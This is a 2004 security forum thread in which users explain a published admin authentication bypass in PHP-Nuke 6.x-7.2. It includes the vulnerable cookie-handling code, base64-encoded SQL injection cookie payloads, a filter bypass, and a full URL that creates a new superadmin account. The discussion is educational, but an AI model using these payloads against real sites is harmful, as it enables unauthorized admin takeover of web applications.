Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 28, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 790
Members: 0
Total: 790
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> Admin-level authentication bypass in phpnuke 6.x-7.2
Post new topic  Reply to topic View previous topic :: View next topic 
Admin-level authentication bypass in phpnuke 6.x-7.2
PostPosted: Sun May 23, 2004 8:46 am Reply with quote
$t3
Regular user
Regular user
 
Joined: May 19, 2004
Posts: 15




hum i have 1 problem...
i dont hunderstand how to get this code:

eCcgVU5JT04gU0VMRUNUIDEvKjox

the full string is
admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox


** is in this tutorial **
Code:
http://www.waraxe.us/?modname=sa&id=018



Sorry for my bad english!
thanx man Wink
View user's profile Send private message
My Explanation
PostPosted: Sun May 23, 2004 9:15 am Reply with quote
icenix
Advanced user
Advanced user
 
Joined: May 13, 2004
Posts: 106
Location: Australia




My field is basically Security in all but PHP Isnt really my thing (but im learning)

Basically
its because of
Code:

$admintest = 0;

if(isset($admin) && $admin != "") {
  $admin = base64_decode($admin);
  $admin = explode(":", $admin);
  $aid = "$admin[0]";
  $pwd = "$admin[1]";


because $admin base64_decodes itself...
he "Constructs" a base64 message which is "x'%20OR/*:y"
which ends up to be "eCcgT1IvKjp5"

the second bit he goes onto explain is the filter that PHPNuke uses to filter out naughty commands from users who try and hack something
which is
Code:

if (preg_match("/\?admin/", "$checkurl")) {
echo "die";
exit;


that truly sucks because as he said its very limited..
ie. All it blocks is:
Code:

http://localhost.com/admin.php*


(note the wildcard which means everything after it.
so how he bypasses this is by adding something totaly useless.

therefore.
Code:

http://localhost.com/admin.php?foo=bar&admin=eCcgT1IvKjp5


then the message

Code:

"Selection from database failed!"

basically just proves his point that theres an SQL Injection here and he just didnt parse any commands...

Code:

http://localhost.com/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1


is the code that admins use for adding a user and making him an admin...just all in 1 string...

Code:

x'%20UNION%20SELECT%201/*:1


which after base64 encoding gives us "eCcgVU5JT04gU0VMRUNUIDEvKjox"

is just used for bypassing the auth..
it can be done because of a flaw in the script
specifically:
Code:

$pwd = "$admin[1]";


where it pulls the cookie from the user. it has a [1] after it...
and by "comparing the two strings" it gives us an OK.
((Basically its saying...is there a 1 there? if so...authentication is ok))

so now that we have bypassed our admin login..
we can pretty much do whatever we want..
so instead of passing commands through a modified "online" cookie
why not just add us a user?

I really hope i helped and waraxe could explain this better
give me some feedback on how i went explaining this hehe
PHP Isnt really my thing yet Razz
How did i go Janek??? Wink if im totaly wrong i will just delete my post.. i dont want to confuse anyone Wink im learning here too Very HappyVery Happy

_________________
=[WWW.WARAXE.US]=
-Forum Rules
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Sun May 23, 2004 1:39 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Yes, icenix, you are right with your answers.
By the way - i will make publicly available base64encoder/decoder
and md5 hasher, so anyone can play with those php functions
without actual need for php programming. Stay tuned!
View user's profile Send private message Send e-mail Visit poster's website
thanx :)
PostPosted: Sun May 23, 2004 6:37 pm Reply with quote
$t3
Regular user
Regular user
 
Joined: May 19, 2004
Posts: 15




base64encoder/decoder
and md5 hasher
COOL Smile

thanx icenix Cool
thanx waraxe Cool

Very Happy
View user's profile Send private message
PostPosted: Tue May 25, 2004 10:30 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Base64 encoder is located here:

http://base64-encoder-online.waraxe.us/base64/base64-encoder.php

Decoder and md5 hasher will be finalized in near future.

And HowTo tutorial about phpnuke cookie handcrafting is here:

http://www.waraxe.us/forum/viewtopic.php?t=61

Smile
View user's profile Send private message Send e-mail Visit poster's website
Admin-level authentication bypass in phpnuke 6.x-7.2
  www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.169 Seconds